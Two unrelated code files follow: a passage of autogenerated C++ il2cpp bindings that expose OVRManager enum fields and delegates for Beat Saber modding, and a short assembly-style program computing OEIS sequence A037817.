THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/CompositionMethod", "Direct", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_CompositionMethod::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CompositionMethod::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/CameraDevice
#include "GlobalNamespace/OVRManager_CameraDevice.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/CameraDevice WebCamera0
::GlobalNamespace::OVRManager_CameraDevice GlobalNamespace::OVRManager_CameraDevice::_get_WebCamera0() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CameraDevice::_get_WebCamera0");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_CameraDevice>("", "OVRManager/CameraDevice", "WebCamera0"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/CameraDevice WebCamera0
void GlobalNamespace::OVRManager_CameraDevice::_set_WebCamera0(::GlobalNamespace::OVRManager_CameraDevice value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CameraDevice::_set_WebCamera0");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/CameraDevice", "WebCamera0", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/CameraDevice WebCamera1
::GlobalNamespace::OVRManager_CameraDevice GlobalNamespace::OVRManager_CameraDevice::_get_WebCamera1() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CameraDevice::_get_WebCamera1");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_CameraDevice>("", "OVRManager/CameraDevice", "WebCamera1"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/CameraDevice WebCamera1
void GlobalNamespace::OVRManager_CameraDevice::_set_WebCamera1(::GlobalNamespace::OVRManager_CameraDevice value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CameraDevice::_set_WebCamera1");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/CameraDevice", "WebCamera1", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/CameraDevice ZEDCamera
::GlobalNamespace::OVRManager_CameraDevice GlobalNamespace::OVRManager_CameraDevice::_get_ZEDCamera() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CameraDevice::_get_ZEDCamera");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_CameraDevice>("", "OVRManager/CameraDevice", "ZEDCamera"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/CameraDevice ZEDCamera
void GlobalNamespace::OVRManager_CameraDevice::_set_ZEDCamera(::GlobalNamespace::OVRManager_CameraDevice value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CameraDevice::_set_ZEDCamera");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/CameraDevice", "ZEDCamera", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_CameraDevice::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_CameraDevice::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/DepthQuality
#include "GlobalNamespace/OVRManager_DepthQuality.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/DepthQuality Low
::GlobalNamespace::OVRManager_DepthQuality GlobalNamespace::OVRManager_DepthQuality::_get_Low() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_DepthQuality::_get_Low");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_DepthQuality>("", "OVRManager/DepthQuality", "Low"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/DepthQuality Low
void GlobalNamespace::OVRManager_DepthQuality::_set_Low(::GlobalNamespace::OVRManager_DepthQuality value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_DepthQuality::_set_Low");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/DepthQuality", "Low", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/DepthQuality Medium
::GlobalNamespace::OVRManager_DepthQuality GlobalNamespace::OVRManager_DepthQuality::_get_Medium() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_DepthQuality::_get_Medium");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_DepthQuality>("", "OVRManager/DepthQuality", "Medium"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/DepthQuality Medium
void GlobalNamespace::OVRManager_DepthQuality::_set_Medium(::GlobalNamespace::OVRManager_DepthQuality value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_DepthQuality::_set_Medium");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/DepthQuality", "Medium", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/DepthQuality High
::GlobalNamespace::OVRManager_DepthQuality GlobalNamespace::OVRManager_DepthQuality::_get_High() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_DepthQuality::_get_High");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_DepthQuality>("", "OVRManager/DepthQuality", "High"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/DepthQuality High
void GlobalNamespace::OVRManager_DepthQuality::_set_High(::GlobalNamespace::OVRManager_DepthQuality value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_DepthQuality::_set_High");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/DepthQuality", "High", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_DepthQuality::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_DepthQuality::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/VirtualGreenScreenType
#include "GlobalNamespace/OVRManager_VirtualGreenScreenType.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/VirtualGreenScreenType Off
::GlobalNamespace::OVRManager_VirtualGreenScreenType GlobalNamespace::OVRManager_VirtualGreenScreenType::_get_Off() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_VirtualGreenScreenType::_get_Off");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_VirtualGreenScreenType>("", "OVRManager/VirtualGreenScreenType", "Off"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/VirtualGreenScreenType Off
void GlobalNamespace::OVRManager_VirtualGreenScreenType::_set_Off(::GlobalNamespace::OVRManager_VirtualGreenScreenType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_VirtualGreenScreenType::_set_Off");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/VirtualGreenScreenType", "Off", value));
}
// [ObsoleteAttribute] Offset: 0x697748
// Autogenerated static field getter
// Get static field: static public OVRManager/VirtualGreenScreenType OuterBoundary
::GlobalNamespace::OVRManager_VirtualGreenScreenType GlobalNamespace::OVRManager_VirtualGreenScreenType::_get_OuterBoundary() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_VirtualGreenScreenType::_get_OuterBoundary");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_VirtualGreenScreenType>("", "OVRManager/VirtualGreenScreenType", "OuterBoundary"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/VirtualGreenScreenType OuterBoundary
void GlobalNamespace::OVRManager_VirtualGreenScreenType::_set_OuterBoundary(::GlobalNamespace::OVRManager_VirtualGreenScreenType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_VirtualGreenScreenType::_set_OuterBoundary");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/VirtualGreenScreenType", "OuterBoundary", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/VirtualGreenScreenType PlayArea
::GlobalNamespace::OVRManager_VirtualGreenScreenType GlobalNamespace::OVRManager_VirtualGreenScreenType::_get_PlayArea() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_VirtualGreenScreenType::_get_PlayArea");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_VirtualGreenScreenType>("", "OVRManager/VirtualGreenScreenType", "PlayArea"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/VirtualGreenScreenType PlayArea
void GlobalNamespace::OVRManager_VirtualGreenScreenType::_set_PlayArea(::GlobalNamespace::OVRManager_VirtualGreenScreenType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_VirtualGreenScreenType::_set_PlayArea");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/VirtualGreenScreenType", "PlayArea", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_VirtualGreenScreenType::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_VirtualGreenScreenType::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/MrcActivationMode
#include "GlobalNamespace/OVRManager_MrcActivationMode.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/MrcActivationMode Automatic
::GlobalNamespace::OVRManager_MrcActivationMode GlobalNamespace::OVRManager_MrcActivationMode::_get_Automatic() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcActivationMode::_get_Automatic");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_MrcActivationMode>("", "OVRManager/MrcActivationMode", "Automatic"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/MrcActivationMode Automatic
void GlobalNamespace::OVRManager_MrcActivationMode::_set_Automatic(::GlobalNamespace::OVRManager_MrcActivationMode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcActivationMode::_set_Automatic");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/MrcActivationMode", "Automatic", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/MrcActivationMode Disabled
::GlobalNamespace::OVRManager_MrcActivationMode GlobalNamespace::OVRManager_MrcActivationMode::_get_Disabled() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcActivationMode::_get_Disabled");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_MrcActivationMode>("", "OVRManager/MrcActivationMode", "Disabled"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/MrcActivationMode Disabled
void GlobalNamespace::OVRManager_MrcActivationMode::_set_Disabled(::GlobalNamespace::OVRManager_MrcActivationMode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcActivationMode::_set_Disabled");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/MrcActivationMode", "Disabled", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_MrcActivationMode::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcActivationMode::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/MrcCameraType
#include "GlobalNamespace/OVRManager_MrcCameraType.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/MrcCameraType Normal
::GlobalNamespace::OVRManager_MrcCameraType GlobalNamespace::OVRManager_MrcCameraType::_get_Normal() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcCameraType::_get_Normal");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_MrcCameraType>("", "OVRManager/MrcCameraType", "Normal"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/MrcCameraType Normal
void GlobalNamespace::OVRManager_MrcCameraType::_set_Normal(::GlobalNamespace::OVRManager_MrcCameraType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcCameraType::_set_Normal");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/MrcCameraType", "Normal", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/MrcCameraType Foreground
::GlobalNamespace::OVRManager_MrcCameraType GlobalNamespace::OVRManager_MrcCameraType::_get_Foreground() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcCameraType::_get_Foreground");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_MrcCameraType>("", "OVRManager/MrcCameraType", "Foreground"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/MrcCameraType Foreground
void GlobalNamespace::OVRManager_MrcCameraType::_set_Foreground(::GlobalNamespace::OVRManager_MrcCameraType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcCameraType::_set_Foreground");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/MrcCameraType", "Foreground", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/MrcCameraType Background
::GlobalNamespace::OVRManager_MrcCameraType GlobalNamespace::OVRManager_MrcCameraType::_get_Background() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcCameraType::_get_Background");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_MrcCameraType>("", "OVRManager/MrcCameraType", "Background"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/MrcCameraType Background
void GlobalNamespace::OVRManager_MrcCameraType::_set_Background(::GlobalNamespace::OVRManager_MrcCameraType value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcCameraType::_set_Background");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/MrcCameraType", "Background", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_MrcCameraType::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_MrcCameraType::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
#include "beatsaber-hook/shared/utils/typedefs.h"
// Including type: OVRManager/InstantiateMrcCameraDelegate
#include "GlobalNamespace/OVRManager_InstantiateMrcCameraDelegate.hpp"
// Including type: UnityEngine.GameObject
#include "UnityEngine/GameObject.hpp"
// Including type: OVRManager/MrcCameraType
#include "GlobalNamespace/OVRManager_MrcCameraType.hpp"
// Including type: System.IAsyncResult
#include "System/IAsyncResult.hpp"
// Including type: System.AsyncCallback
#include "System/AsyncCallback.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated method: OVRManager/InstantiateMrcCameraDelegate.Invoke
::UnityEngine::GameObject* GlobalNamespace::OVRManager_InstantiateMrcCameraDelegate::Invoke(::UnityEngine::GameObject* mainCameraGameObject, ::GlobalNamespace::OVRManager_MrcCameraType cameraType) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_InstantiateMrcCameraDelegate::Invoke");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::GlobalNamespace::OVRManager_InstantiateMrcCameraDelegate*), 12));
return ::il2cpp_utils::RunMethodRethrow<::UnityEngine::GameObject*, false>(this, ___internal__method, mainCameraGameObject, cameraType);
}
// Autogenerated method: OVRManager/InstantiateMrcCameraDelegate.BeginInvoke
::System::IAsyncResult* GlobalNamespace::OVRManager_InstantiateMrcCameraDelegate::BeginInvoke(::UnityEngine::GameObject* mainCameraGameObject, ::GlobalNamespace::OVRManager_MrcCameraType cameraType, ::System::AsyncCallback* callback, ::Il2CppObject* object) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_InstantiateMrcCameraDelegate::BeginInvoke");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::GlobalNamespace::OVRManager_InstantiateMrcCameraDelegate*), 13));
return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, mainCameraGameObject, cameraType, callback, object);
}
// Autogenerated method: OVRManager/InstantiateMrcCameraDelegate.EndInvoke
::UnityEngine::GameObject* GlobalNamespace::OVRManager_InstantiateMrcCameraDelegate::EndInvoke(::System::IAsyncResult* result) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_InstantiateMrcCameraDelegate::EndInvoke");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::GlobalNamespace::OVRManager_InstantiateMrcCameraDelegate*), 14));
return ::il2cpp_utils::RunMethodRethrow<::UnityEngine::GameObject*, false>(this, ___internal__method, result);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/PassthroughInitializationState
#include "GlobalNamespace/OVRManager_PassthroughInitializationState.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OVRManager/PassthroughInitializationState Unspecified
::GlobalNamespace::OVRManager_PassthroughInitializationState GlobalNamespace::OVRManager_PassthroughInitializationState::_get_Unspecified() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_PassthroughInitializationState::_get_Unspecified");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_PassthroughInitializationState>("", "OVRManager/PassthroughInitializationState", "Unspecified"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/PassthroughInitializationState Unspecified
void GlobalNamespace::OVRManager_PassthroughInitializationState::_set_Unspecified(::GlobalNamespace::OVRManager_PassthroughInitializationState value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_PassthroughInitializationState::_set_Unspecified");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/PassthroughInitializationState", "Unspecified", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/PassthroughInitializationState Pending
::GlobalNamespace::OVRManager_PassthroughInitializationState GlobalNamespace::OVRManager_PassthroughInitializationState::_get_Pending() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_PassthroughInitializationState::_get_Pending");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_PassthroughInitializationState>("", "OVRManager/PassthroughInitializationState", "Pending"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/PassthroughInitializationState Pending
void GlobalNamespace::OVRManager_PassthroughInitializationState::_set_Pending(::GlobalNamespace::OVRManager_PassthroughInitializationState value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_PassthroughInitializationState::_set_Pending");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/PassthroughInitializationState", "Pending", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/PassthroughInitializationState Initialized
::GlobalNamespace::OVRManager_PassthroughInitializationState GlobalNamespace::OVRManager_PassthroughInitializationState::_get_Initialized() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_PassthroughInitializationState::_get_Initialized");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_PassthroughInitializationState>("", "OVRManager/PassthroughInitializationState", "Initialized"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/PassthroughInitializationState Initialized
void GlobalNamespace::OVRManager_PassthroughInitializationState::_set_Initialized(::GlobalNamespace::OVRManager_PassthroughInitializationState value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_PassthroughInitializationState::_set_Initialized");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/PassthroughInitializationState", "Initialized", value));
}
// Autogenerated static field getter
// Get static field: static public OVRManager/PassthroughInitializationState Failed
::GlobalNamespace::OVRManager_PassthroughInitializationState GlobalNamespace::OVRManager_PassthroughInitializationState::_get_Failed() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_PassthroughInitializationState::_get_Failed");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_PassthroughInitializationState>("", "OVRManager/PassthroughInitializationState", "Failed"));
}
// Autogenerated static field setter
// Set static field: static public OVRManager/PassthroughInitializationState Failed
void GlobalNamespace::OVRManager_PassthroughInitializationState::_set_Failed(::GlobalNamespace::OVRManager_PassthroughInitializationState value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_PassthroughInitializationState::_set_Failed");
THROW_UNLESS(il2cpp_utils::SetFieldValue("", "OVRManager/PassthroughInitializationState", "Failed", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& GlobalNamespace::OVRManager_PassthroughInitializationState::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_PassthroughInitializationState::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OVRManager/<>c
#include "GlobalNamespace/OVRManager_--c.hpp"
// Including type: System.Func`2
#include "System/Func_2.hpp"
// Including type: System.Comparison`1
#include "System/Comparison_1.hpp"
// Including type: UnityEngine.Camera
#include "UnityEngine/Camera.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public readonly OVRManager/<>c <>9
::GlobalNamespace::OVRManager_$$c* GlobalNamespace::OVRManager_$$c::_get_$$9() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_$$c::_get_$$9");
return THROW_UNLESS((il2cpp_utils::GetFieldValue<::GlobalNamespace::OVRManager_$$c*>("", "OVRManager/<>c", "<>9")));
}
// Autogenerated static field setter
// Set static field: static public readonly OVRManager/<>c <>9
void GlobalNamespace::OVRManager_$$c::_set_$$9(::GlobalNamespace::OVRManager_$$c* value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_$$c::_set_$$9");
THROW_UNLESS((il2cpp_utils::SetFieldValue("", "OVRManager/<>c", "<>9", value)));
}
// Autogenerated static field getter
// Get static field: static public System.Func`2<System.Single,System.String> <>9__345_0
::System::Func_2<float, ::StringW>* GlobalNamespace::OVRManager_$$c::_get_$$9__345_0() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_$$c::_get_$$9__345_0");
return THROW_UNLESS((il2cpp_utils::GetFieldValue<::System::Func_2<float, ::StringW>*>("", "OVRManager/<>c", "<>9__345_0")));
}
// Autogenerated static field setter
// Set static field: static public System.Func`2<System.Single,System.String> <>9__345_0
void GlobalNamespace::OVRManager_$$c::_set_$$9__345_0(::System::Func_2<float, ::StringW>* value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_$$c::_set_$$9__345_0");
THROW_UNLESS((il2cpp_utils::SetFieldValue("", "OVRManager/<>c", "<>9__345_0", value)));
}
// Autogenerated static field getter
// Get static field: static public System.Comparison`1<UnityEngine.Camera> <>9__359_0
::System::Comparison_1<::UnityEngine::Camera*>* GlobalNamespace::OVRManager_$$c::_get_$$9__359_0() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_$$c::_get_$$9__359_0");
return THROW_UNLESS((il2cpp_utils::GetFieldValue<::System::Comparison_1<::UnityEngine::Camera*>*>("", "OVRManager/<>c", "<>9__359_0")));
}
// Autogenerated static field setter
// Set static field: static public System.Comparison`1<UnityEngine.Camera> <>9__359_0
void GlobalNamespace::OVRManager_$$c::_set_$$9__359_0(::System::Comparison_1<::UnityEngine::Camera*>* value) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_$$c::_set_$$9__359_0");
THROW_UNLESS((il2cpp_utils::SetFieldValue("", "OVRManager/<>c", "<>9__359_0", value)));
}
// Autogenerated method: OVRManager/<>c..cctor
void GlobalNamespace::OVRManager_$$c::_cctor() {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_$$c::.cctor");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("", "OVRManager/<>c", ".cctor", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method);
}
// Autogenerated method: OVRManager/<>c.<InitOVRManager>b__345_0
::StringW GlobalNamespace::OVRManager_$$c::$InitOVRManager$b__345_0(float f) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_$$c::<InitOVRManager>b__345_0");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "<InitOVRManager>b__345_0", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(f)})));
return ::il2cpp_utils::RunMethodRethrow<::StringW, false>(this, ___internal__method, f);
}
// Autogenerated method: OVRManager/<>c.<FindMainCamera>b__359_0
int GlobalNamespace::OVRManager_$$c::$FindMainCamera$b__359_0(::UnityEngine::Camera* c0, ::UnityEngine::Camera* c1) {
static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRManager_$$c::<FindMainCamera>b__359_0");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "<FindMainCamera>b__359_0", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(c0), ::il2cpp_utils::ExtractType(c1)})));
return ::il2cpp_utils::RunMethodRethrow<int, false>(this, ___internal__method, c0, c1);
}
|
; A037817: Number of i such that d(i)<=d(i-1), where Sum{d(i)*10^i: i=0,1,...,m} is base 10 representation of n.
; 0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0
sub $0,6
mov $2,$0
sub $0,3
trn $2,3
add $2,1
mov $3,10
lpb $0
sub $0,1
trn $0,$3
trn $2,$3
lpe
add $1,1
trn $1,$2
mov $0,$1
|
